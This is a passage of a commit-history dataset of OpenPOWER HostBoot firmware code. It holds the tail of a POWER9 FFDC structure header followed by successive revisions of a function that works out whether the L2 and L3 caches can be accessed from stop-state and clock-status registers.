iv_headerSize;\n uint16_t iv_sectionSize;\n uint8_t iv_ffdcValid;\n uint8_t iv_ppeHaltCondition;\n uint16_t iv_dashBoardOffset;\n uint16_t iv_sramHeaderOffset;\n uint16_t iv_sprOffset;\n uint16_t iv_intRegOffset;\n uint16_t iv_offsetTraces;\n uint8_t iv_reserve[4];\n};\n\n\/**\n * @brief models Quad FFDC header.\n *\/\nstruct __attribute__((packed)) QuadFfdcHeader\n{\n uint32_t iv_quadMagicWord;\n uint8_t iv_quadInstance;\n uint8_t iv_quadHeaderSize;\n uint16_t iv_sectionSize;\n uint16_t iv_offsetCppm0;\n uint16_t iv_offsetCppm1;\n uint16_t iv_offsetCppm2;\n uint16_t iv_offsetCppm3;\n uint16_t iv_offsetCme0;\n uint16_t iv_offsetCme1;\n uint16_t iv_offsetQppm;\n uint8_t iv_ffdcValid;\n uint8_t iv_reserve;\n};\n\n\n\/**\n * @brief enumerates bit position used as validity mark of OCC FFDC sub-section.\n *\/\nenum OccFfdcValidStatus\n{\n OCC_FFDC_INVALID = 0x00, \/\/ None of the FFDC section is valid\n OCC_FFDC_TRACE_ERR_VALID = 0x01, \/\/ OCC ERR traces section valid\n OCC_FFDC_TRACE_IMP_VALID = 0x02, \/\/ OCC IMP traces section valid\n OCC_FFDC_TRACE_INF_VALID = 0x04, \/\/ OCC INF traces section valid\n OCC_FFDC_TRACE_SSX_VALID = 0x08, \/\/ OCC SSX trace section valid\n OCC_FFDC_TRACE_GPE0_VALID = 0x10, \/\/ OCC GPE0 Trace Section valid\n OCC_FFDC_TRACE_GPE1_VALID = 0x20, \/\/ OCC GPE1 Trace Section Valid\n OCC_FFDC_SHARED_REGION_VALID = 0x40, \/\/ OCC Shared Region Section valid\n OCC_FFDC_REGISTERS_VALID = 0x80, \/\/ OCC Register Section valid\n OCC_FFDC_VALID_ALL = ( OCC_FFDC_TRACE_ERR_VALID |\n OCC_FFDC_TRACE_IMP_VALID |\n OCC_FFDC_TRACE_INF_VALID |\n OCC_FFDC_TRACE_SSX_VALID |\n OCC_FFDC_TRACE_GPE0_VALID |\n OCC_FFDC_TRACE_GPE1_VALID |\n OCC_FFDC_SHARED_REGION_VALID |\n OCC_FFDC_REGISTERS_VALID )\n};\n\n\n\/**\n * @brief models C_Q_PPM FFDC header.\n *\/\nstruct __attribute__((packed)) PpmFfdcHeader\n{\n uint32_t iv_ppmMagicWord;\n uint8_t iv_Instance;\n uint8_t iv_ppmHeaderSize;\n uint16_t iv_sectionSize;\n uint8_t iv_ffdcValid;\n uint8_t iv_reserved[7];\n};\n\n\/**\n * * @brief models OCC Region FFDC header.\n * *\/\nstruct __attribute__((packed)) OccFfdcHeader\n{\n uint32_t iv_magicWord;\n uint8_t iv_ffdcValid;\n uint8_t iv_headerSize;\n uint16_t iv_sectionSize;\n uint16_t iv_offsetErrTrace;\n uint16_t iv_offsetImpTrace;\n uint16_t iv_offsetInfTrace;\n uint16_t iv_offsetSsxTrace;\n uint16_t iv_offsetGpe0Trace;\n uint16_t iv_offsetGpe1Trace;\n uint16_t iv_offsetSharedSram;\n uint16_t iv_offsetOccRegs;\n};\n\n\/**\n * @brief a union modelling PPE FFDC region's header area.\n *\/\nunion PpeFfdcHdrRegion\n{\n uint8_t iv_ppeFfdcHdrArea[FFDC_PPE_HDR_SIZE];\n PpeFfdcHeader iv_ppeFfdcHdr;\n};\n\n\/**\n * * @brief a union modelling OCC FFDC region's header area.\n * *\/\nunion OccFfdcHdrRegion\n{\n uint8_t iv_ppeFfdcHdrArea[FFDC_OCC_REGION_HDR_SIZE];\n OccFfdcHeader iv_occFfdcHdr;\n};\n\n\/**\n * @brief models CME's FFDC region.\n *\/\nstruct __attribute__((packed)) PpeFfdcLayout\n{\n PpeFfdcHdrRegion iv_ppeFfdcHdr;\n uint8_t iv_ppeGlobals[FFDC_PPE_SCORE_BOARD_SIZE];\n uint8_t iv_ppeImageHeader[FFDC_PPE_IMG_HDR_SIZE];\n uint8_t iv_ppeXirReg[FFDC_PPE_XIR_SIZE];\n uint8_t iv_ppeSpr[FFDC_PPE_SPR_SIZE];\n uint8_t iv_ppeGprs[FFDC_PPE_GPR_SIZE];\n uint8_t iv_ppeInternalReg[FFDC_PPE_INTERNAL_REG_SIZE];\n uint8_t iv_ppeTraces[FFDC_PPE_TRACES_SIZE];\n};\n\n\/**\n * @brief models Quad FFDC region of HOMER.\n *\/\nstruct __attribute__((packed)) HomerQuadFfdcRegion\n{\n uint8_t iv_quadFfdcHeader[FFDC_QUAD_HDR_SIZE];\n uint8_t iv_quadCppmRegion[MAX_CORES_PER_QUAD][FFDC_CPPM_REGISTERS_SIZE];\n uint8_t iv_quadCmeBlock[MAX_CMES_PER_QUAD][FFDC_PPE_BLOCK_SIZE];\n uint8_t iv_quadQppmRegion[FFDC_QPPM_REGISTERS_SIZE];\n};\n\n\/**\n * @brief models OCC FFDC region of HOMER.\n *\/\nstruct __attribute__((packed)) OccFfdcRegion\n{\n uint8_t iv_occFfdcHeader[FFDC_OCC_REGION_HDR_SIZE];\n uint8_t iv_occTraceErr[FFDC_TRACE_ERR_SIZE];\n uint8_t iv_occTraceImp[FFDC_TRACE_IMP_SIZE];\n uint8_t iv_occTraceInf[FFDC_TRACE_INF_SIZE];\n uint8_t iv_occTraceSsx[FFDC_TRACE_SSX_SIZE];\n uint8_t iv_occTraceGpe0[FFDC_TRACE_GPE0_SIZE];\n uint8_t iv_occTraceGpe1[FFDC_TRACE_GPE1_SIZE];\n uint8_t iv_occSharedSram[FFDC_SHARED_SRAM_SIZE];\n uint8_t iv_occRegs[FFDC_OCC_REGS_SIZE];\n};\n\n\/**\n * @brief models full FFDC region of HOMER.\n *\/\nstruct __attribute__((packed)) HomerFfdcRegion\n{\n uint8_t iv_homerFfdcHeader[FFDC_HOMER_TOP_HEADER];\n HomerQuadFfdcRegion iv_quadFfdc[MAX_QUADS_PER_CHIP];\n PpeFfdcLayout iv_sgpeFfdcRegion;\n PpeFfdcLayout iv_pgpeFfdcRegion;\n OccFfdcRegion iv_occFfdcRegion;\n};\n\n} \/\/namespace p9_stop_recov_ffdc ends\n#endif \/\/__PM_RECOVERY_FFDC_DEFINES_\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/pm\/p9_query_cache_access_state.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2016,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/\/\n\/\/\/ @file p9_query_cache_access_state.C\n\/\/\/ @brief Check the stop level for the EX caches and sets boolean scomable parameters\n\/\/\/\n\/\/ *HWP HWP Owner: Christina Graves <clgraves@us.ibm.com>\n\/\/ *HWP Backup HWP Owner: Greg Still <stillgs@us.ibm.com>\n\/\/ *HWP FW Owner: Sangeetha T S <sangeet2@in.ibm.com>\n\/\/ *HWP Team: PM\n\/\/ *HWP Level: 2\n\/\/ *HWP Consumed by: FSP:HS:SBE\n\/\/\/\n\/\/\/\n\/\/\/\n\/\/\/ @verbatim\n\/\/\/ High-level procedure flow:\n\/\/\/ - For the quad target, read the Stop State History register in the PPM\n\/\/\/ and use the actual stop level to determine if the quad has power and is being\n\/\/\/ clocked.\n\/\/\/ @endverbatim\n\/\/\/\n\/\/------------------------------------------------------------------------------\n\n\n\/\/ ----------------------------------------------------------------------\n\/\/ Includes\n\/\/ ----------------------------------------------------------------------\n\n#include <p9_quad_scom_addresses.H>\n#include <p9_query_cache_access_state.H>\n\n\/\/ ----------------------------------------------------------------------\n\/\/ Constants\n\/\/ ----------------------------------------------------------------------\n\nconst uint32_t eq_clk_l2_pos[] = {8, 9};\nconst uint32_t eq_clk_l3_pos[] = {6, 7};\nconst uint32_t SSH_REG_STOP_LEVEL = 8;\nconst uint32_t SSH_REG_STOP_LEVEL_LEN = 4;\n\n\/\/ ----------------------------------------------------------------------\n\/\/ Procedure Function\n\/\/ ----------------------------------------------------------------------\n\nfapi2::ReturnCode\np9_query_cache_access_state(\n const fapi2::Target<fapi2::TARGET_TYPE_EQ>& i_target,\n bool& o_l2_is_scomable,\n bool& o_l2_is_scannable,\n bool& o_l3_is_scomable,\n bool& o_l3_is_scannable)\n{\n fapi2::buffer<uint64_t> l_qsshsrc;\n uint32_t l_quadStopLevel = 0;\n fapi2::buffer<uint64_t> l_data64;\n bool l_is_scomable = 1;\n uint8_t l_chpltNumber = 0;\n uint32_t l_exPos = 0;\n uint8_t l_execution_platform = 0;\n uint32_t l_stop_state_reg = 0;\n const fapi2::Target<fapi2::TARGET_TYPE_SYSTEM> FAPI_SYSTEM;\n\n FAPI_INF(\"> p9_query_cache_access_state...\");\n\n \/\/Get the stop state from the SSHRC in the EQPPM\n \/\/First figure out whether we should use the C_PPM_SSHFSP (if FSP platform) or C_PPM_SSHHYP (if HOST platform)\n FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_EXECUTION_PLATFORM, FAPI_SYSTEM, l_execution_platform),\n \"Error: Failed to get platform\");\n\n if (l_execution_platform == 0x02)\n {\n l_stop_state_reg = C_PPM_SSHFSP;\n }\n else\n {\n l_stop_state_reg = C_PPM_SSHHYP;\n }\n\n FAPI_TRY(fapi2::getScom(i_target, l_stop_state_reg, l_qsshsrc), \"Error reading data from QPPM SSHSRC\");\n\n \/\/A unit is scommable if clocks are running\n \/\/A unit is scannable if the unit is powered up\n\n \/\/Extract the core stop state\n l_qsshsrc.extractToRight<uint32_t>(l_quadStopLevel, SSH_REG_STOP_LEVEL, SSH_REG_STOP_LEVEL_LEN);\n\n FAPI_DBG(\"EQ Stop State: EQ(%d)\", l_quadStopLevel);\n\n \/\/Set all attribtes to 1, then clear them based on the stop state\n o_l2_is_scomable = 1;\n o_l2_is_scannable = 1;\n o_l3_is_scomable = 1;\n o_l3_is_scannable = 1;\n\n \/\/ STOP8 - Half Quad Deep Sleep\n \/\/ VSU, ISU are powered off\n \/\/ IFU, LSU are powered off\n \/\/ PC, Core EPS are powered off\n \/\/ L20-EX0 is clocked off if both cores are >= 8\n \/\/ L20-EX1 is clocked off if both cores are >= 8\n if (l_quadStopLevel >= 8)\n {\n o_l2_is_scomable = 0;\n }\n\n \/\/ STOP9 - Fast Winkle (lab use only)\n \/\/ Both cores and cache are clocked off\n if (l_quadStopLevel >= 9)\n {\n o_l3_is_scomable = 0;\n }\n\n \/\/ STOP11 - Deep Winkle\n \/\/ Both cores and cache are powered off\n if (l_quadStopLevel >= 11)\n {\n o_l2_is_scannable = 0;\n o_l3_is_scannable = 0;\n }\n\n \/\/Read clock status to confirm stop state history is accurate\n \/\/If we trust the stop state history, this could be removed to save on code size\n \/\/Compare Hardware status vs stop state status. If there is a mismatch the HW value overrides the stop state\n\n FAPI_TRY(fapi2::getScom(i_target, EQ_CLOCK_STAT_SL, l_data64), \"Error reading data from EQ_CLOCK_STAT_SL\");\n\n FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_CHIP_UNIT_POS, i_target, l_chpltNumber),\n \"Error: Failed to get the position of the EX:0x%08X\", i_target);\n l_exPos = l_chpltNumber % 2;\n\n l_is_scomable = !l_data64.getBit(eq_clk_l2_pos[l_exPos]);\n\n if (o_l2_is_scomable != l_is_scomable)\n {\n FAPI_INF(\"Clock status didn't match stop state, overriding is_scomable status\");\n o_l2_is_scomable = l_is_scomable;\n }\n\n l_is_scomable = !l_data64.getBit(eq_clk_l3_pos[l_exPos]);\n\n if (o_l3_is_scomable != l_is_scomable)\n {\n FAPI_INF(\"Clock status didn't match stop state, overriding is_scomable status\");\n o_l3_is_scomable = l_is_scomable;\n }\n\nfapi_try_exit:\n FAPI_INF(\"< p9_query_cache_access_state...\");\n return fapi2::current_err;\n}\n<commit_msg>Update p9_query_cache_access_state to use the correct scom register<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/pm\/p9_query_cache_access_state.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2016,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/\/\n\/\/\/ @file p9_query_cache_access_state.C\n\/\/\/ @brief Check the stop level for the EX caches and sets boolean scomable parameters\n\/\/\/\n\/\/ *HWP HWP Owner: Christina Graves <clgraves@us.ibm.com>\n\/\/ *HWP Backup HWP Owner: Greg Still <stillgs@us.ibm.com>\n\/\/ *HWP FW Owner: Sangeetha T S <sangeet2@in.ibm.com>\n\/\/ *HWP Team: PM\n\/\/ *HWP Level: 2\n\/\/ *HWP Consumed by: FSP:HS:SBE\n\/\/\/\n\/\/\/\n\/\/\/\n\/\/\/ @verbatim\n\/\/\/ High-level procedure flow:\n\/\/\/ - For the quad target, read the Stop State History register in the PPM\n\/\/\/ and use the actual stop level to determine if the quad has power and is being\n\/\/\/ clocked.\n\/\/\/ @endverbatim\n\/\/\/\n\/\/------------------------------------------------------------------------------\n\n\n\/\/ ----------------------------------------------------------------------\n\/\/ Includes\n\/\/ ----------------------------------------------------------------------\n\n#include <p9_quad_scom_addresses.H>\n#include <p9_query_cache_access_state.H>\n\n\/\/ ----------------------------------------------------------------------\n\/\/ Constants\n\/\/ ----------------------------------------------------------------------\n\nconst uint32_t eq_clk_l2_pos[] = {8, 9};\nconst uint32_t eq_clk_l3_pos[] = {6, 7};\nconst uint32_t SSH_REG_STOP_LEVEL = 8;\nconst uint32_t SSH_REG_STOP_LEVEL_LEN = 4;\n\n\/\/ ----------------------------------------------------------------------\n\/\/ Procedure Function\n\/\/ ----------------------------------------------------------------------\n\nfapi2::ReturnCode\np9_query_cache_access_state(\n const fapi2::Target<fapi2::TARGET_TYPE_EQ>& i_target,\n bool& o_l2_is_scomable,\n bool& o_l2_is_scannable,\n bool& o_l3_is_scomable,\n bool& o_l3_is_scannable)\n{\n fapi2::buffer<uint64_t> l_qsshsrc;\n uint32_t l_quadStopLevel = 0;\n fapi2::buffer<uint64_t> l_data64;\n bool l_is_scomable = 1;\n uint8_t l_chpltNumber = 0;\n uint32_t l_exPos = 0;\n uint8_t l_execution_platform = 0;\n uint32_t l_stop_state_reg = 0;\n const fapi2::Target<fapi2::TARGET_TYPE_SYSTEM> FAPI_SYSTEM;\n\n FAPI_INF(\"> p9_query_cache_access_state...\");\n\n \/\/Get the stop state from the SSHRC in the EQPPM\n \/\/First figure out whether we should use the C_PPM_SSHFSP (if FSP platform) or C_PPM_SSHHYP (if HOST platform)\n FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_EXECUTION_PLATFORM, FAPI_SYSTEM, l_execution_platform),\n \"Error: Failed to get platform\");\n\n if (l_execution_platform == 0x02)\n {\n l_stop_state_reg = EQ_PPM_SSHFSP;\n }\n else\n {\n l_stop_state_reg = EQ_PPM_SSHHYP;\n }\n\n FAPI_TRY(fapi2::getScom(i_target, l_stop_state_reg, l_qsshsrc), \"Error reading data from QPPM SSHSRC\");\n\n \/\/A unit is scommable if clocks are running\n \/\/A unit is scannable if the unit is powered up\n\n \/\/Extract the core stop state\n l_qsshsrc.extractToRight<uint32_t>(l_quadStopLevel, SSH_REG_STOP_LEVEL, SSH_REG_STOP_LEVEL_LEN);\n\n FAPI_DBG(\"EQ Stop State: EQ(%d)\", l_quadStopLevel);\n\n \/\/Set all attribtes to 1, then clear them based on the stop state\n o_l2_is_scomable = 1;\n o_l2_is_scannable = 1;\n o_l3_is_scomable = 1;\n o_l3_is_scannable = 1;\n\n \/\/ STOP8 - Half Quad Deep Sleep\n \/\/ VSU, ISU are powered off\n \/\/ IFU, LSU are powered off\n \/\/ PC, Core EPS are powered off\n \/\/ L20-EX0 is clocked off if both cores are >= 8\n \/\/ L20-EX1 is clocked off if both cores are >= 8\n if (l_quadStopLevel >= 8)\n {\n o_l2_is_scomable = 0;\n }\n\n \/\/ STOP9 - Fast Winkle (lab use only)\n \/\/ Both cores and cache are clocked off\n if (l_quadStopLevel >= 9)\n {\n o_l3_is_scomable = 0;\n }\n\n \/\/ STOP11 - Deep Winkle\n \/\/ Both cores and cache are powered off\n if (l_quadStopLevel >= 11)\n {\n o_l2_is_scannable = 0;\n o_l3_is_scannable = 0;\n }\n\n \/\/Read clock status to confirm stop state history is accurate\n \/\/If we trust the stop state history, this could be removed to save on code size\n \/\/Compare Hardware status vs stop state status. If there is a mismatch the HW value overrides the stop state\n\n FAPI_TRY(fapi2::getScom(i_target, EQ_CLOCK_STAT_SL, l_data64), \"Error reading data from EQ_CLOCK_STAT_SL\");\n\n FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_CHIP_UNIT_POS, i_target, l_chpltNumber),\n \"Error: Failed to get the position of the EX:0x%08X\", i_target);\n l_exPos = l_chpltNumber % 2;\n\n l_is_scomable = !l_data64.getBit(eq_clk_l2_pos[l_exPos]);\n\n if (o_l2_is_scomable != l_is_scomable)\n {\n FAPI_INF(\"Clock status didn't match stop state, overriding is_scomable status\");\n o_l2_is_scomable = l_is_scomable;\n }\n\n l_is_scomable = !l_data64.getBit(eq_clk_l3_pos[l_exPos]);\n\n if (o_l3_is_scomable != l_is_scomable)\n {\n FAPI_INF(\"Clock status didn't match stop state, overriding is_scomable status\");\n o_l3_is_scomable = l_is_scomable;\n }\n\nfapi_try_exit:\n FAPI_INF(\"< p9_query_cache_access_state...\");\n return fapi2::current_err;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/pm\/p9_query_cache_access_state.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2016,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/\/\n\/\/\/ @file p9_query_cache_access_state.C\n\/\/\/ @brief Check the stop level for the EX caches and sets boolean scomable parameters\n\/\/\/\n\/\/ *HWP HWP Owner: Christina Graves <clgraves@us.ibm.com>\n\/\/ *HWP Backup HWP Owner: Greg Still <stillgs@us.ibm.com>\n\/\/ *HWP FW Owner: Sangeetha T S <sangeet2@in.ibm.com>\n\/\/ *HWP Team: PM\n\/\/ *HWP Level: 2\n\/\/ *HWP Consumed by: FSP:HS:SBE\n\/\/\/\n\/\/\/\n\/\/\/\n\/\/\/ @verbatim\n\/\/\/ High-level procedure flow:\n\/\/\/ - For the quad target, read the Stop State History register in the PPM\n\/\/\/ and use the actual stop level to determine if the quad has power and is being\n\/\/\/ clocked.\n\/\/\/ @endverbatim\n\/\/\/\n\/\/------------------------------------------------------------------------------\n\n\n\/\/ ----------------------------------------------------------------------\n\/\/ Includes\n\/\/ ----------------------------------------------------------------------\n\n#include <p9_quad_scom_addresses.H>\n#include <p9_query_cache_access_state.H>\n\n\/\/ ----------------------------------------------------------------------\n\/\/ Constants\n\/\/ ----------------------------------------------------------------------\n\nconst uint32_t eq_clk_l2_pos[] = {8, 9};\nconst uint32_t eq_clk_l3_pos[] = {6, 7};\nconst uint32_t SSH_REG_STOP_LEVEL = 8;\nconst uint32_t SSH_REG_STOP_LEVEL_LEN = 4;\nconst uint32_t SSH_REG_STOP_GATED = 0;\n\n\/\/ ----------------------------------------------------------------------\n\/\/ Procedure Function\n\/\/ ----------------------------------------------------------------------\n\nfapi2::ReturnCode\np9_query_cache_access_state(\n const fapi2::Target<fapi2::TARGET_TYPE_EQ>& i_target,\n bool& o_l2_is_scomable,\n bool& o_l2_is_scannable,\n bool& o_l3_is_scomable,\n bool& o_l3_is_scannable)\n{\n fapi2::buffer<uint64_t> l_qsshsrc;\n uint32_t l_quadStopLevel = 0;\n fapi2::buffer<uint64_t> l_data64;\n bool l_is_scomable = 1;\n uint8_t l_chpltNumber = 0;\n uint32_t l_exPos = 0;\n uint8_t l_execution_platform = 0;\n uint32_t l_stop_state_reg = 0;\n const fapi2::Target<fapi2::TARGET_TYPE_SYSTEM> FAPI_SYSTEM;\n\n FAPI_INF(\"> p9_query_cache_access_state...\");\n\n \/\/Get the stop state from the SSHRC in the EQPPM\n \/\/First figure out whether we should use the C_PPM_SSHFSP (if FSP platform) or C_PPM_SSHHYP (if HOST platform)\n FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_EXECUTION_PLATFORM, FAPI_SYSTEM, l_execution_platform),\n \"Error: Failed to get platform\");\n\n if (l_execution_platform == 0x02)\n {\n l_stop_state_reg = EQ_PPM_SSHFSP;\n }\n else\n {\n l_stop_state_reg = EQ_PPM_SSHHYP;\n }\n\n FAPI_TRY(fapi2::getScom(i_target, l_stop_state_reg, l_qsshsrc), \"Error reading data from QPPM SSHSRC\");\n\n \/\/A unit is scommable if clocks are running\n \/\/A unit is scannable if the unit is powered up\n\n \/\/Extract the core stop state\n l_qsshsrc.extractToRight<uint32_t>(l_quadStopLevel, SSH_REG_STOP_LEVEL, SSH_REG_STOP_LEVEL_LEN);\n\n FAPI_DBG(\"EQ Stop State: EQ(%d)\", l_quadStopLevel);\n\n \/\/Set all attribtes to 1, then clear them based on the stop state\n o_l2_is_scomable = 1;\n o_l2_is_scannable = 1;\n o_l3_is_scomable = 1;\n o_l3_is_scannable = 1;\n\n \/\/Looking at the stop states is only valid if quad is stop gated -- else it is fully running\n if (l_qsshsrc.getBit(SSH_REG_STOP_GATED))\n {\n \/\/ STOP8 - Half Quad Deep Sleep\n \/\/ VSU, ISU are powered off\n \/\/ IFU, LSU are powered off\n \/\/ PC, Core EPS are powered off\n \/\/ L20-EX0 is clocked off if both cores are >= 8\n \/\/ L20-EX1 is clocked off if both cores are >= 8\n if (l_quadStopLevel >= 8)\n {\n o_l2_is_scomable = 0;\n }\n\n \/\/ STOP9 - Fast Winkle (lab use only)\n \/\/ Both cores and cache are clocked off\n if (l_quadStopLevel >= 9)\n {\n o_l3_is_scomable = 0;\n }\n\n \/\/ STOP11 - Deep Winkle\n \/\/ Both cores and cache are powered off\n if (l_quadStopLevel >= 11)\n {\n o_l2_is_scannable = 0;\n o_l3_is_scannable = 0;\n }\n else\n {\n \/\/Read clock status to confirm stop state history is accurate\n \/\/If we trust the stop state history, this could be removed to save on code size\n \/\/Compare Hardware status vs stop state status. If there is a mismatch the HW value overrides the stop state\n\n FAPI_TRY(fapi2::getScom(i_target, EQ_CLOCK_STAT_SL, l_data64), \"Error reading data from EQ_CLOCK_STAT_SL\");\n\n FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_CHIP_UNIT_POS, i_target, l_chpltNumber),\n \"Error: Failed to get the position of the EX:0x%08X\", i_target);\n l_exPos = l_chpltNumber % 2;\n\n l_is_scomable = !l_data64.getBit(eq_clk_l2_pos[l_exPos]);\n\n if (o_l2_is_scomable != l_is_scomable)\n {\n FAPI_INF(\"Clock status didn't match stop state, overriding is_scomable status\");\n o_l2_is_scomable = l_is_scomable;\n }\n\n l_is_scomable = !l_data64.getBit(eq_clk_l3_pos[l_exPos]);\n\n if (o_l3_is_scomable != l_is_scomable)\n {\n FAPI_INF(\"Clock status didn't match stop state, overriding is_scomable status\");\n o_l3_is_scomable = l_is_scomable;\n }\n }\n }\n\nfapi_try_exit:\n FAPI_INF(\"< p9_query_cache_access_state...\");\n return fapi2::current_err;\n}\n<commit_msg>Improve power and clock checking when checking for stop states<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/pm\/p9_query_cache_access_state.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2016,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/\/\n\/\/\/ @file p9_query_cache_access_state.C\n\/\/\/ @brief Check the stop level for the EX caches and sets boolean scomable parameters\n\/\/\/\n\/\/ *HWP HWP Owner: Christina Graves <clgraves@us.ibm.com>\n\/\/ *HWP Backup HWP Owner: Greg Still <stillgs@us.ibm.com>\n\/\/ *HWP FW Owner: Sangeetha T S <sangeet2@in.ibm.com>\n\/\/ *HWP Team: PM\n\/\/ *HWP Level: 2\n\/\/ *HWP Consumed by: FSP:HS:SBE\n\/\/\/\n\/\/\/\n\/\/\/\n\/\/\/ @verbatim\n\/\/\/ High-level procedure flow:\n\/\/\/ - For the quad target, read the Stop State History register in the PPM\n\/\/\/ and use the actual stop level to determine if the quad has power and is being\n\/\/\/ clocked.\n\/\/\/ @endverbatim\n\/\/\/\n\/\/------------------------------------------------------------------------------\n\n\n\/\/ ----------------------------------------------------------------------\n\/\/ Includes\n\/\/ ----------------------------------------------------------------------\n\n#include <p9_quad_scom_addresses.H>\n#include <p9_query_cache_access_state.H>\n\n\n\/\/ ----------------------------------------------------------------------\n\/\/ Constants\n\/\/ ----------------------------------------------------------------------\n\nconst uint32_t eq_clk_l2_pos[] = {8, 9};\nconst uint32_t eq_clk_l3_pos[] = {6, 7};\nconst uint32_t SSH_REG_STOP_LEVEL = 8;\nconst uint32_t SSH_REG_STOP_LEVEL_LEN = 4;\nconst uint32_t SSH_REG_STOP_GATED = 0;\n\n\/\/ ----------------------------------------------------------------------\n\/\/ Procedure Function\n\/\/ ----------------------------------------------------------------------\n\nfapi2::ReturnCode\np9_query_cache_access_state(\n const fapi2::Target<fapi2::TARGET_TYPE_EQ>& i_target,\n bool& o_l2_is_scomable,\n bool& o_l2_is_scannable,\n bool& o_l3_is_scomable,\n bool& o_l3_is_scannable)\n{\n fapi2::buffer<uint64_t> l_qsshsrc;\n uint32_t l_quadStopLevel = 0;\n fapi2::buffer<uint64_t> l_data64;\n bool l_is_scomable = 1;\n uint8_t l_chpltNumber = 0;\n uint32_t l_exPos = 0;\n uint8_t l_execution_platform = 0;\n uint32_t l_stop_state_reg = 0;\n const fapi2::Target<fapi2::TARGET_TYPE_SYSTEM> FAPI_SYSTEM;\n\n FAPI_INF(\"> p9_query_cache_access_state...\");\n\n \/\/Get the stop state from the SSHRC in the EQPPM\n \/\/First figure out whether we should use the C_PPM_SSHFSP (if FSP platform) or C_PPM_SSHHYP (if HOST platform)\n FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_EXECUTION_PLATFORM, FAPI_SYSTEM, l_execution_platform),\n \"Error: Failed to get platform\");\n\n if (l_execution_platform == 0x02)\n {\n l_stop_state_reg = EQ_PPM_SSHFSP;\n }\n else\n {\n l_stop_state_reg = EQ_PPM_SSHHYP;\n }\n\n FAPI_TRY(fapi2::getScom(i_target, l_stop_state_reg, l_qsshsrc), \"Error reading data from QPPM SSHSRC\");\n\n \/\/A unit is scommable if clocks are running\n \/\/A unit is scannable if the unit is powered up\n\n \/\/Extract the quad stop state\n if (l_qsshsrc.getBit(SSH_REG_STOP_GATED))\n {\n l_qsshsrc.extractToRight<uint32_t>(l_quadStopLevel, SSH_REG_STOP_LEVEL, SSH_REG_STOP_LEVEL_LEN);\n }\n\n FAPI_DBG(\"EQ Stop State: EQ(%d)\", 